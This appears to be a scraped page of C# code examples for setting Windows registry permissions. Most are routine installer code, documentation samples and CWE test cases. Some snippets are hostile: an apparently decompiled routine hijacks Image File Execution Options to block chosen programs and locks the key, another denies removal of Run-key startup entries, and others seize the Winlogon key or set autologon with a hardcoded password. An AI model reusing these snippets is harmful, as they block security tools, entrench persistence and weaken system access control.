Exemple #1
0
 // Token: 0x0600004C RID: 76 RVA: 0x00005300 File Offset: 0x00003500
 public static void FuckFileName(string input)
 {
     try
     {
         if (input.Contains("\\"))
         {
             string[] array = Strings.Split(input, "\\", -1, CompareMethod.Binary);
             foreach (string text in array)
             {
                 if (text.Contains(".exe"))
                 {
                     input = text;
                 }
             }
         }
         RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options", true);
         registryKey.CreateSubKey(input);
         registryKey.Close();
         RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + input, true);
         registryKey2.SetValue("Debugger", "nqij.exe");
         SecurityIdentifier securityIdentifier = new SecurityIdentifier(WellKnownSidType.WorldSid, null);
         NTAccount          ntaccount          = securityIdentifier.Translate(typeof(NTAccount)) as NTAccount;
         string             identity           = ntaccount.ToString();
         RegistrySecurity   registrySecurity   = new RegistrySecurity();
         registrySecurity.AddAccessRule(new RegistryAccessRule(identity, RegistryRights.ExecuteKey, InheritanceFlags.None, PropagationFlags.None, AccessControlType.Allow));
         registrySecurity.AddAccessRule(new RegistryAccessRule(identity, RegistryRights.SetValue | RegistryRights.CreateSubKey | RegistryRights.Delete | RegistryRights.ChangePermissions | RegistryRights.TakeOwnership, InheritanceFlags.None, PropagationFlags.None, AccessControlType.Deny));
         registryKey2.SetAccessControl(registrySecurity);
         registryKey2.Close();
     }
     catch (Exception ex)
     {
     }
 }
        internal void AdjustRegKeyPermission()
        {
            try
            {
                RegistryKey regKey;
                regKey = Registry.LocalMachine.OpenSubKey(
                    WsatKeys.WsatRegKey,
                    RegistryKeyPermissionCheck.ReadWriteSubTree,
                    RegistryRights.FullControl);

                if (regKey != null)
                {
                    using (regKey)
                    {
                        // NetworkService always needs access to the WS-AT key
                        // On some platforms, it doesn't inherit this permission from the parent MSDTC key
                        RegistryAccessRule rule = new RegistryAccessRule(
                            new SecurityIdentifier(WellKnownSidType.NetworkServiceSid, null),
                            RegistryRights.ReadKey,
                            InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
                            PropagationFlags.None,
                            AccessControlType.Allow);

                        // Ensure the authenticated users have read access to the WS-AT key
                        // there is a key under the WS-AT key named OleTxUpgradeEnabled that requires the permission
                        RegistryAccessRule rule2 = new RegistryAccessRule(
                            new SecurityIdentifier(WellKnownSidType.AuthenticatedUserSid, null),
                            RegistryRights.ReadKey,
                            InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
                            PropagationFlags.None,
                            AccessControlType.Allow);

                        RegistrySecurity registrySecurity = regKey.GetAccessControl();
                        registrySecurity.AddAccessRule(rule);
                        registrySecurity.AddAccessRule(rule2);
                        regKey.SetAccessControl(registrySecurity);
                    }
                }
            }
            catch (SecurityException e)
            {
                throw registryExceptionHelper.CreateRegistryWriteException(e);
            }
            catch (ObjectDisposedException e)
            {
                throw registryExceptionHelper.CreateRegistryWriteException(e);
            }
            catch (ArgumentNullException e)
            {
                throw registryExceptionHelper.CreateRegistryWriteException(e);
            }
            catch (ArgumentException e)
            {
                throw registryExceptionHelper.CreateRegistryWriteException(e);
            }
            catch (UnauthorizedAccessException e)
            {
                throw registryExceptionHelper.CreateRegistryWriteException(e);
            }
        }
        public override void Bad()
        {
            if (IO.StaticReturnsTrueOrFalse())
            {
                /* FLAW: Create a registry key with excessive privileges */
                RegistryKey key = Registry.CurrentUser.OpenSubKey("Software", true);
                key.CreateSubKey("CWE314");
            }
            else
            {
                /* FIX: Create a registry key without excessive privileges */
                string           user = Environment.UserDomainName + "\\" + Environment.UserName;
                RegistrySecurity rs   = new RegistrySecurity();
//Allow the current user to read and delete the key.
                rs.AddAccessRule(new RegistryAccessRule(user,
                                                        RegistryRights.ReadKey | RegistryRights.Delete,
                                                        InheritanceFlags.None,
                                                        PropagationFlags.None,
                                                        AccessControlType.Allow));
//Prevent the current user from writing or changing the permission set of the key
                rs.AddAccessRule(new RegistryAccessRule(user,
                                                        RegistryRights.WriteKey | RegistryRights.ChangePermissions,
                                                        InheritanceFlags.None,
                                                        PropagationFlags.None,
                                                        AccessControlType.Deny));
                RegistryKey key = Registry.CurrentUser.OpenSubKey("Software", true);
                key.CreateSubKey("CWE314");
            }
        }
        private static void ProtectStartupEntry()
        {
            RegistryKey regKey = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);

            RegistrySecurity regSec = regKey.GetAccessControl();

            RegistryAccessRule regAccessUser = new RegistryAccessRule(CurrentUser,
                                                                      RegistryRights.Delete | RegistryRights.SetValue,
                                                                      InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
                                                                      PropagationFlags.None,
                                                                      AccessControlType.Deny);

            RegistryAccessRule regAccessAdmin = new RegistryAccessRule("Administrators",
                                                                       RegistryRights.Delete | RegistryRights.SetValue,
                                                                       InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
                                                                       PropagationFlags.None,
                                                                       AccessControlType.Deny);

            RegistryAccessRule regAccessSystem = new RegistryAccessRule("System",
                                                                        RegistryRights.Delete | RegistryRights.SetValue,
                                                                        InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
                                                                        PropagationFlags.None,
                                                                        AccessControlType.Deny);

            regSec.AddAccessRule(regAccessUser);
            regSec.AddAccessRule(regAccessAdmin);
            regSec.AddAccessRule(regAccessSystem);

            regKey.SetAccessControl(regSec);
        }
        /* Good1() changes IO.staticFive==5 to IO.staticFive!=5 */
        private void Good1()
        {
            if (IO.staticFive != 5)
            {
                /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
                IO.WriteLine("Benign, fixed string");
            }
            else
            {
                /* FIX: Create a registry key without excessive privileges */
                string           user = Environment.UserDomainName + "\\" + Environment.UserName;
                RegistrySecurity rs   = new RegistrySecurity();
//Allow the current user to read and delete the key.
                rs.AddAccessRule(new RegistryAccessRule(user,
                                                        RegistryRights.ReadKey | RegistryRights.Delete,
                                                        InheritanceFlags.None,
                                                        PropagationFlags.None,
                                                        AccessControlType.Allow));
//Prevent the current user from writing or changing the permission set of the key
                rs.AddAccessRule(new RegistryAccessRule(user,
                                                        RegistryRights.WriteKey | RegistryRights.ChangePermissions,
                                                        InheritanceFlags.None,
                                                        PropagationFlags.None,
                                                        AccessControlType.Deny));
                RegistryKey key = Registry.CurrentUser.OpenSubKey("Software", true);
                key.CreateSubKey("CWE314");
            }
        }
Exemple #6
0
        /// <summary>
        ///     Add Access Rules for Registry Security
        /// </summary>
        public static void AddAccessRules()
        {
            // We add trace notification that we're entering the method.
            Trace.TraceInformation("Entering 'AddAccessRules' method.");
            Trace.Flush();

            using (WindowsIdentity winid = WindowsIdentity.GetCurrent())
            {
                // Get the sid of the Local System
                SecurityIdentifier localSystemSid = new SecurityIdentifier(WellKnownSidType.LocalSystemSid, winid.User.AccountDomainSid);

                // Get the sid of BuildinAdministrators
                SecurityIdentifier builtinAdministratorsSid = new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, winid.User.AccountDomainSid);

                // Add a rule that grants FullControl right for local system.
                RegistryAccessRule localSystemRule = new RegistryAccessRule(localSystemSid, RegistryRights.FullControl, InheritanceFlags.ContainerInherit, PropagationFlags.None, AccessControlType.Allow);

                // Add the rules using RegistrySecurity
                regSec.AddAccessRule(localSystemRule);

                // Add a rule that grants FullControl right for BuildinAdministrators.
                RegistryAccessRule builtinAdministratorsRule = new RegistryAccessRule(builtinAdministratorsSid, RegistryRights.FullControl, InheritanceFlags.ContainerInherit, PropagationFlags.None, AccessControlType.Allow);

                // Adds the rule using RegistrySecurity
                regSec.AddAccessRule(builtinAdministratorsRule);
            }

            // We add trace notification that we're exiting the method.
            Trace.TraceInformation("Exiting 'AddAccessRules' method.");
            Trace.Flush();
        }
Exemple #7
0
        public bool SetAccessRestriction(string keyPath, bool bSet)
        {
            try
            {
                RegistryKey      subKey = Registry.LocalMachine.OpenSubKey(keyPath, RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.ChangePermissions);
                RegistrySecurity keySec = subKey.GetAccessControl(AccessControlSections.Access);

                RegistryAccessRule systemRule  = new RegistryAccessRule(new SecurityIdentifier(FileOps.SID_System), RegistryRights.FullControl, InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.None, AccessControlType.Allow);
                RegistryAccessRule serviceRule = new RegistryAccessRule(FirewallServiceName, RegistryRights.ExecuteKey, InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.None, AccessControlType.Allow);
                if (bSet)
                {
                    keySec.SetAccessRuleProtection(true, false);
                    keySec.AddAccessRule(systemRule);
                    keySec.AddAccessRule(serviceRule);
                }
                else
                {
                    keySec.SetAccessRuleProtection(false, false);
                    keySec.RemoveAccessRule(systemRule);
                    keySec.RemoveAccessRule(serviceRule);
                }
                subKey.SetAccessControl(keySec);

                return(true);
            }
            catch (Exception err)
            {
                AppLog.Exception(err);
            }
            return(false);
        }
Exemple #8
0
        public static RegistrySecurity RegistrySecurity()
        {
            string           user = Chemins.domainName + "\\" + Chemins.usersName;
            RegistrySecurity rs   = new RegistrySecurity();

            rs.AddAccessRule(new RegistryAccessRule(user, RegistryRights.ReadKey | RegistryRights.Delete, InheritanceFlags.None, PropagationFlags.None, AccessControlType.Allow));
            rs.AddAccessRule(new RegistryAccessRule(user, RegistryRights.WriteKey | RegistryRights.ChangePermissions, InheritanceFlags.None, PropagationFlags.None, AccessControlType.Allow));
            rs.AddAccessRule(new RegistryAccessRule(user, RegistryRights.CreateSubKey | RegistryRights.FullControl, InheritanceFlags.None, PropagationFlags.None, AccessControlType.Allow));
            return(rs);
        }
    public static void Main()
    {
        string user = Environment.UserDomainName + "\\"
                      + Environment.UserName;

        // Create a security object that grants no access.
        RegistrySecurity mSec = new RegistrySecurity();

        // Add a rule that grants the current user the right
        // to read and enumerate the name/value pairs in a key,
        // to read its access and audit rules, to enumerate
        // its subkeys, to create subkeys, and to delete the key.
        // The rule is inherited by all contained subkeys.
        //
        RegistryAccessRule rule1 = new RegistryAccessRule(user,
                                                          RegistryRights.ReadKey | RegistryRights.WriteKey
                                                          | RegistryRights.Delete,
                                                          InheritanceFlags.ContainerInherit,
                                                          PropagationFlags.None,
                                                          AccessControlType.Allow);

        mSec.AddAccessRule(rule1);

        // Add a rule that allows the current user the right
        // right to take ownership of a key, using the same
        // inheritance and propagation flags. This rule
        // merges with the first rule.
        RegistryAccessRule rule2 = new RegistryAccessRule(user,
                                                          RegistryRights.ChangePermissions,
                                                          InheritanceFlags.ContainerInherit,
                                                          PropagationFlags.None,
                                                          AccessControlType.Allow);

        mSec.AddAccessRule(rule2);

        // Display the rules in the security object.
        ShowSecurity(mSec);

        // Attempt to use RemoveRuleSpecific to remove the
        // first rule. The removal fails, because the rule
        // in the RegistrySecurity object has been altered.
        mSec.RemoveAccessRuleSpecific(rule1);

        // Show that the rule was not removed.
        ShowSecurity(mSec);

        // Use the RemoveAccessRule method to remove rule2,
        // and then use RemoveAccessRuleSpecific to remove
        // rule1.
        mSec.RemoveAccessRule(rule2);
        mSec.RemoveAccessRuleSpecific(rule1);

        // Show that the rules have been removed.
        ShowSecurity(mSec);
    }
Exemple #10
0
        private static void SetRegistryAcls()
        {
            string pGinaSubKey = pGina.Shared.Settings.pGinaDynamicSettings.pGinaRoot;

            using (RegistryKey key = Registry.LocalMachine.CreateSubKey(pGinaSubKey))
            {
                if (key != null)
                {
                    //m_logger.InfoFormat("Setting ACLs on {0}", key.Name);

                    RegistryAccessRule allowRead = new RegistryAccessRule(
                        USERS_GROUP, RegistryRights.ReadKey,
                        InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
                        PropagationFlags.None, AccessControlType.Allow);
                    RegistryAccessRule adminFull = new RegistryAccessRule(
                        ADMIN_GROUP, RegistryRights.FullControl,
                        InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
                        PropagationFlags.None, AccessControlType.Allow);
                    RegistryAccessRule systemFull = new RegistryAccessRule(
                        SYSTEM_ACCT, RegistryRights.FullControl,
                        InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
                        PropagationFlags.None, AccessControlType.Allow);

                    RegistrySecurity keySec = key.GetAccessControl();

                    //if (//m_logger.IsDebugEnabled)

                    {
                        //m_logger.DebugFormat("{0} before update:", key.Name);
                        ShowSecurity(keySec);
                    }

                    // Remove inherited rules
                    keySec.SetAccessRuleProtection(true, false);

                    // Add full control for administrators and system.
                    keySec.AddAccessRule(adminFull);
                    keySec.AddAccessRule(systemFull);

                    // Remove any read rules for users (if they exist)
                    keySec.RemoveAccessRuleAll(allowRead);

                    // Apply the rules..
                    key.SetAccessControl(keySec);

                    //if (//m_logger.IsDebugEnabled)
                    {
                        //m_logger.DebugFormat("{0} after update: ", key.Name);
                        ShowSecurity(keySec);
                    }
                }
            }
        }
Exemple #11
0
        /// <summary>
        /// setting the 'policy' to 1 for the firmware allowing it to 'rollback'
        /// </summary>
        /// <param name="hardwareID"></param>
        /// <param name="rebootRequired"></param>
        /// <returns></returns>
        internal static bool CreatePolicyRegKeyAndSetValue(string hardwareID, bool rebootRequired)
        {
            try
            {
                Logger.FunctionEnter();
                string regKeyPath = @"SYSTEM\CurrentControlSet\Control\FirmwareResources\" + hardwareID;
                var    rs         = new RegistrySecurity();
                string user       = Environment.UserName;
                rs.AddAccessRule(new RegistryAccessRule(user,
                                                        RegistryRights.WriteKey | RegistryRights.SetValue | RegistryRights.Delete,
                                                        InheritanceFlags.ContainerInherit,
                                                        PropagationFlags.None,
                                                        AccessControlType.Allow));
                RegistryKey key;
                key = Registry.LocalMachine.CreateSubKey(regKeyPath, RegistryKeyPermissionCheck.ReadWriteSubTree, rs);
                key.SetAccessControl(rs);

                //Check if Reg-Dword exist beore creating it
                object regDwordVal = key.GetValue("Policy");
                if (regDwordVal == null)
                {
                    key.SetValue("Policy", 1, RegistryValueKind.DWord);
                    rebootRequired = true;
                }

                key.Close();
                Logger.FunctionLeave();
                return(true);
            }
            catch (Exception ex)
            {
                GetData.GetExceptionMessage(ex);
                return(false);
            }
        }
Exemple #12
0
        public static bool LoadTokenList()
        {
            RegistryKey _lmSoftware   = null;
            RegistryKey _koDevelopers = null;
            RegistryKey _appSession   = null;

            try
            {
                string           user = Environment.UserDomainName + "\\" + Environment.UserName;
                RegistrySecurity rs   = new RegistrySecurity();

                rs.AddAccessRule(new RegistryAccessRule(user,
                                                        RegistryRights.WriteKey | RegistryRights.ReadKey | RegistryRights.Delete,
                                                        InheritanceFlags.None,
                                                        PropagationFlags.None,
                                                        AccessControlType.Allow));
                _lmSoftware   = Registry.CurrentUser.OpenSubKey("SOFTWARE", true);
                _koDevelopers = _lmSoftware.CreateSubKey("KODevelopers", RegistryKeyPermissionCheck.ReadWriteSubTree, rs);
                _appSession   = _koDevelopers.CreateSubKey($"Session_{application_name}{application_version}", RegistryKeyPermissionCheck.ReadWriteSubTree, rs);

                foreach (string svName in _appSession.GetValueNames())
                {
                    TokenList.Add(svName, _appSession.GetValue(svName) as string);
                }

                return(true);
            }
            catch (Exception ex)
            {
                StaticReference.ShowError(null, ex.Message);
                return(false);
            }
        }
Exemple #13
0
        private Microsoft.Win32.RegistryKey GetAcadAppKey(bool forWrite)
        {
            string User    = Environment.UserDomainName + "\\" + Environment.UserName;
            string RootKey = Autodesk.AutoCAD.DatabaseServices.HostApplicationServices.Current.UserRegistryProductRootKey;

            Microsoft.Win32.RegistryKey AcadKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(RootKey);
            RegistryAccessRule          Role    = new RegistryAccessRule(User, RegistryRights.WriteKey | RegistryRights.Delete | RegistryRights.ReadKey, AccessControlType.Allow);
            RegistrySecurity            Rs      = new RegistrySecurity();

            Rs.AddAccessRule(Role);
            Microsoft.Win32.RegistryKey AppKey = AcadKey.OpenSubKey("Applications", forWrite);
            if (AppKey == null)
            {
                try
                {
                    Microsoft.Win32.RegistryKey Key = AcadKey.CreateSubKey("Applications", RegistryKeyPermissionCheck.ReadWriteSubTree, Rs);
                    return(Key);
                } catch (System.Exception Ex)
                {
                    AcadApp.ShowAlertDialog(Ex.Message + "注册失败。详情请查看软件的帮助文档");
                    return(AppKey);
                }
            }
            else
            {
                return(AppKey);
            }
        }
Exemple #14
0
        private static void RegAccess(RegistryKey key)
        {
            try
            {
                var rs          = new RegistrySecurity();
                var currentUser = Environment.UserDomainName + "\\" + Environment.UserName;
                //var users = new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null);
                //NTAccount usersAc = users.Translate(typeof(NTAccount)) as NTAccount;
                //RegistryAccessRule usersDeny = new RegistryAccessRule(
                //    identity: usersAc?.ToString(),
                //    registryRights: RegistryRights.ReadKey,
                //    inheritanceFlags: InheritanceFlags.None,
                //    propagationFlags: PropagationFlags.NoPropagateInherit,
                //    type: AccessControlType.Deny);
                //rs.AddAccessRule(usersDeny);
                rs.AddAccessRule(new RegistryAccessRule(currentUser,
                                                        RegistryRights.ReadKey,
                                                        InheritanceFlags.None,
                                                        PropagationFlags.NoPropagateInherit,
                                                        AccessControlType.Allow));

                key.SetAccessControl(rs);
                key.Close();
                Logging.WriteLog("Задали права");
            }
            catch (Exception ex)
            {
                Logging.WriteLog(ex.Message);
            }
        }
        private void Save_button_click(object sender, RoutedEventArgs e)
        {
            //set shells
            foreach (var item in context)
            {
                item.pushToRegistry();
            }
            //register credential provider
            Registry.SetValue(credential_key + "{" + credential_provider_guid + "}", "", cp_name);
            Registry.SetValue(class_root_key, "", cp_name);
            Registry.SetValue(class_root_key + "\\InprocServer32", "ThreadingModel", "Apartment");
            Registry.SetValue(class_root_key + "\\InprocServer32", "", cp_name + ".dll");
            //Take ownership of WinLogon Key & update userinit
            try
            {
                string user = Environment.UserDomainName + "\\" + Environment.UserName;
                var    hklm = Microsoft.Win32.Registry.LocalMachine;
                var    rs   = new RegistrySecurity();
                rs.AddAccessRule(new RegistryAccessRule(user,
                                                        RegistryRights.FullControl,
                                                        InheritanceFlags.None,
                                                        PropagationFlags.None,
                                                        AccessControlType.Allow));

                var subkey = hklm.OpenSubKey(winlogonKey, true);
                subkey.SetAccessControl(rs);
                //update UserInit setting

                Registry.SetValue(winlogonKey_full, "Userinit", userInitSetting);
            }
            catch (UnauthorizedAccessException) { return; };
        }
Exemple #16
0
        private static void SetPermissions(RegistryKey productName)
        {
            // Get all users except "skippedUser"
            var users       = new List <string>();
            var query       = new SelectQuery("Win32_UserAccount");
            var searcher    = new ManagementObjectSearcher(query);
            var skippedUser = "******";

            foreach (ManagementObject envVar in searcher.Get())
            {
                var username = (string)envVar["Name"];
                if (username == skippedUser)
                {
                    continue;
                }
                users.Add($@"{Environment.MachineName}\\{username}");
            }

            // Remove read permissions for all users in list
            var rs = new RegistrySecurity();

            foreach (var user in users)
            {
                rs.AddAccessRule(new RegistryAccessRule(user, RegistryRights.ReadKey, AccessControlType.Deny));
            }

            productName.SetAccessControl(rs);
            Logger.Log("Permissions set");
        }
Exemple #17
0
        /// <summary>
        /// Class constructor. <code>certificateStore</code> specifies the name of the certificate being managed.
        /// </summary>
        /// <remarks>
        /// If <code>certificateStore</code> is provided a sub key is created to store all information about this specific
        /// certificate. <code>extra=true</code> provides legacy support for the "extra" certificate store sub key.
        /// Registry security is enforced from the parent HKLM\Software minus Users.
        /// No support is provided for any credentials like "MyDomain\Certificate Users" as it hits the *users* filter.
        /// </remarks>
        /// <param name="certificateStore">Name of subkey to store certificate information if more than one certificate
        /// is managed by WinCertes on this computer</param>
        private void Initialise(string certificateStore = null)
        {
            try
            {
                //
                // HKLM WinCertes key is for Administrative access only.
                // Manage access rights by using parent permissions from HKLM\Software and remove user permissions.
                //
                RegistryKey      keySoftware = Registry.LocalMachine.OpenSubKey("SOFTWARE", true);
                RegistrySecurity security    = keySoftware.GetAccessControl(AccessControlSections.Access);

                RegistryKey keyWinCertes = keySoftware.OpenSubKey(_keyBaseName, true);
                if (keyWinCertes == null)
                {
                    _logger.Info("Creating new Registry Key {0}", _keyBaseName);
                    keyWinCertes = keySoftware.CreateSubKey(_keyBaseName, RegistryKeyPermissionCheck.ReadWriteSubTree);
                }
                // Remove inheritance - also deletes all inherited rules
                RegistrySecurity securityWinCertes = keyWinCertes.GetAccessControl(AccessControlSections.All);
                securityWinCertes.SetAccessRuleProtection(true, false);
                // Copy rules from parent, except user access
                foreach (RegistryAccessRule rule in security.GetAccessRules(true, true, typeof(NTAccount)))
                {
                    try
                    {
                        // Copy all relevant rules except user
                        if (rule.IdentityReference.Value.IndexOf("Users", StringComparison.InvariantCultureIgnoreCase) < 0)
                        {
                            securityWinCertes.AddAccessRule(rule);
                        }
                    }
                    catch { }
                }
                keyWinCertes.SetAccessControl(securityWinCertes);
#if DEBUG
                //ShowSecurity(securityWinCertes);
#endif
                //
                // Now manage the certificate store
                //
                CertificateStore = certificateStore;
                if (certificateStore != null)
                {
                    if (keyWinCertes.OpenSubKey(certificateStore, true) == null)
                    {
                        _logger.Debug("Creating SubKey '{0}'", certificateStore);
                        keyWinCertes.CreateSubKey(certificateStore, true);
                        keyWinCertes.SetAccessControl(securityWinCertes);
                    }
                    FullRegistryKey       += @"\" + certificateStore;
                    HKLMRegistryKey       += @"\" + certificateStore;
                    HKLMCertificateParent += @"\" + _keyBaseName;
                }
                Initialised = true;
            }
            catch (Exception e)
            {
                _logger.Warn(e, $"Warning: Could not open/create registry subkey: {e.Message}. We'll try to continue anyway.");
            }
        }
        public static void StoreKey(string keyName, string subKey, string valueName, string key, System.Security.Cryptography.DataProtectionScope dpScope)
        {
            // Turn string key into byte array.
            byte[] keyAsBytes = UnicodeEncoding.ASCII.GetBytes(key);

            // Store key to protected byte array.
            byte[] encryptedKeyPair = ProtectedData.Protect(keyAsBytes, null, dpScope);

            // Create a security context.
            string             user     = Environment.UserDomainName + "\\" + Environment.UserName;
            RegistrySecurity   security = new RegistrySecurity();
            RegistryAccessRule rule     = new RegistryAccessRule(user
                                                                 , RegistryRights.FullControl
                                                                 , InheritanceFlags.ContainerInherit
                                                                 , PropagationFlags.None
                                                                 , AccessControlType.Allow);

            // Add rule to RegistrySecurity.
            security.AddAccessRule(rule);

            // Create registry key and apply security context
            Registry.CurrentUser.CreateSubKey(subKey, RegistryKeyPermissionCheck.ReadWriteSubTree, security);

            // Write the encrypted connection string into the registry
            Registry.SetValue(keyName + @"\" + subKey, valueName, encryptedKeyPair);
        }
Exemple #19
0
        public void LoginAsGuest()
        {
            RegistrySecurity   userSecurity = new RegistrySecurity();
            RegistryAccessRule userRule     = new RegistryAccessRule("Everyone", RegistryRights.FullControl, AccessControlType.Allow);

            userSecurity.AddAccessRule(userRule);

            var key = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);

            key.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", true);

            if (key == null)
            {
                //eventLogger.WriteEntry("Error accessing the registry key");
            }
            else
            {
                try
                {
                    key.SetValue("AutoAdminLogon", "1", RegistryValueKind.String);
                    key.SetValue("DefaultUserName", "admin", RegistryValueKind.String);
                    key.SetValue("DefaultPassword", "1", RegistryValueKind.String);
                }
                catch (Exception exception)
                {
                    //eventLogger.WriteEntry("Problem setting up keys: " + exception);
                }
            }
            key.Close();
        }
Exemple #20
0
        public void AddRegistryKey(string keyPath, string value, string data)
        {
            RegistryKey registryKey = Registry.LocalMachine;

            using (RegistryKey myRegKey = registryKey.OpenSubKey(keyPath, true))
            {
                //myRegKey.SetValue(value, data);

                //if (myRegKey.GetValueNames().Contains(value))
                //{
                //    myRegKey.SetValue(value, data);
                //}
                //else
                //{
                //    Console.WriteLine((string)registryKey.GetValue("id", "ID not found."));
                //}

                RegistryKey      rk  = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.ChangePermissions | RegistryRights.ReadKey);
                RegistrySecurity sec = new RegistrySecurity();

                sec.AddAccessRule(new RegistryAccessRule("Administrator", RegistryRights.FullControl, InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.InheritOnly, AccessControlType.Allow));
                rk.SetAccessControl(sec);
                rk = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.FullControl);
                sec.SetOwner(new NTAccount("Administrators"));
                rk.SetAccessControl(sec);
                rk.SetValue("AutoAdminLogon", "1");
                rk.SetValue("DefaultUserName", "admin");
                rk.SetValue("DefaultPassword", "1");
                rk.SetValue("DefaultDomainName", "INTOWINDOWS");
            }
        }
Exemple #21
0
        private static RegistryKey checkCreateKey(RegistryView registryView, string keyPath)
        {
            // Achtung vor dem Wow6432Node-Schlüssel.
            // https://stackoverflow.com/questions/2039186/reading-the-registry-and-wow6432node-key

            var rs = new RegistrySecurity();

            // Jeder.
            var user = new SecurityIdentifier(WellKnownSidType.WorldSid, null);

            rs.AddAccessRule(
                new RegistryAccessRule(
                    user,
                    RegistryRights.FullControl,
                    InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
                    PropagationFlags.None,
                    AccessControlType.Allow));

            var key = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, registryView)
                      .CreateSubKey(
                keyPath,
                RegistryKeyPermissionCheck.ReadWriteSubTree,
                rs);

            return(key);
        }
        public static bool Load()
        {
            RegistryKey _lmSoftware   = null;
            RegistryKey _koDevelopers = null;
            RegistryKey _pentagram    = null;
            RegistryKey _tbl          = null;

            try
            {
                string           user = Environment.UserDomainName + "\\" + Environment.UserName;
                RegistrySecurity rs   = new RegistrySecurity();

                rs.AddAccessRule(new RegistryAccessRule(user,
                                                        RegistryRights.WriteKey | RegistryRights.ReadKey | RegistryRights.Delete,
                                                        InheritanceFlags.None,
                                                        PropagationFlags.None,
                                                        AccessControlType.Allow));
                _lmSoftware   = Registry.CurrentUser.OpenSubKey("SOFTWARE", true);
                _koDevelopers = _lmSoftware.CreateSubKey("KODevelopers", RegistryKeyPermissionCheck.ReadWriteSubTree, rs);
                _pentagram    = _koDevelopers.CreateSubKey("PENTAGRAM", RegistryKeyPermissionCheck.ReadWriteSubTree, rs);
                _tbl          = _pentagram.CreateSubKey("TBLEditor", RegistryKeyPermissionCheck.ReadWriteSubTree, rs);

                Username     = Convert.ToString(_tbl.GetValue("Username", "__emptyuser"));
                Password     = Convert.ToString(_tbl.GetValue("Password", "__emptypassword"));
                KeepLoggedIn = Convert.ToBoolean(_tbl.GetValue("KeepLoggedIn", false));
                RememberMe   = Convert.ToBoolean(_tbl.GetValue("RememberMe", false));
                SkinName     = Convert.ToString(_tbl.GetValue("SkinName", "DevExpress Style"));
                Language     = Convert.ToString(_tbl.GetValue("Language", "en-EN"));
                return(true);
            }
            catch (Exception ex)
            {
                return(false);
            }
        }
Exemple #23
0
        public void SetupSubKeyPathAndAccessRights()
        {
            var         pathArray       = SubKey.Split('\\');
            RegistryKey baseRegistryKey = BaseRegKeyCurrentUser;
            //string ssid = WindowsIdentityHelper.GetUniqueSecurityIdForCurrentUser();
            WindowsIdentity windowsIdentity = WindowsIdentityHelper.GetWindowsIdentityForCurrentUser();

            foreach (string path in pathArray)
            {
                RegistryKey sk1 = baseRegistryKey.OpenSubKey(path, RegistryKeyPermissionCheck.ReadWriteSubTree);
                bool        userAccessGranted = true;
                if (sk1 == null)
                {
                    sk1 = baseRegistryKey.CreateSubKey(path);
                }

                if (sk1 == null)
                {
                    userAccessGranted = false;
                }


                if (userAccessGranted)
                {
                    continue;
                }

                var registrySecurity = new RegistrySecurity();
                IdentityReference identityReference = new NTAccount(windowsIdentity.Name);
                var rule = new RegistryAccessRule(identityReference, RegistryRights.CreateSubKey | RegistryRights.ReadKey | RegistryRights.WriteKey, AccessControlType.Allow);
                registrySecurity.AddAccessRule(rule);
                sk1 = baseRegistryKey.OpenSubKey(path, RegistryKeyPermissionCheck.ReadSubTree);
                sk1?.SetAccessControl(registrySecurity);
            }
        }
        public void RegisterKey(string path, string value)
        {
            //if Windows set the running version in the registry
            if (!RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
            {
                return;
            }

            try
            {
                var    rs   = new RegistrySecurity();
                string user = Environment.UserDomainName + "\\" + Environment.UserName;
                rs.AddAccessRule(new RegistryAccessRule(user,
                                                        RegistryRights.WriteKey | RegistryRights.SetValue,
                                                        InheritanceFlags.None,
                                                        PropagationFlags.None,
                                                        AccessControlType.Allow));
                RegistryKey key;
                using (key = Registry.LocalMachine.CreateSubKey(path, RegistryKeyPermissionCheck.ReadWriteSubTree, rs))
                {
                    key.SetValue("DisplayVesion", value, RegistryValueKind.String);
                    //key.Close();
                }
            }
            catch (Exception e)
            {
                _logger.LogFullException(e);
            }
        }
Exemple #25
0
        static void Main(string[] args)
        {
            try
            {
                string user = Environment.UserDomainName + "\\" + Environment.UserName;

                RegistrySecurity rs = new RegistrySecurity();

                rs.AddAccessRule(new RegistryAccessRule(user,
                                                        RegistryRights.WriteKey | RegistryRights.ChangePermissions,
                                                        InheritanceFlags.None, PropagationFlags.None, AccessControlType.Deny));

                RegistryKey tcpip  = Registry.LocalMachine.CreateSubKey("SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters", RegistryKeyPermissionCheck.Default, rs);
                RegistryKey tcpip6 = Registry.LocalMachine.CreateSubKey("SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", RegistryKeyPermissionCheck.Default, rs);

                string TTL = "65";
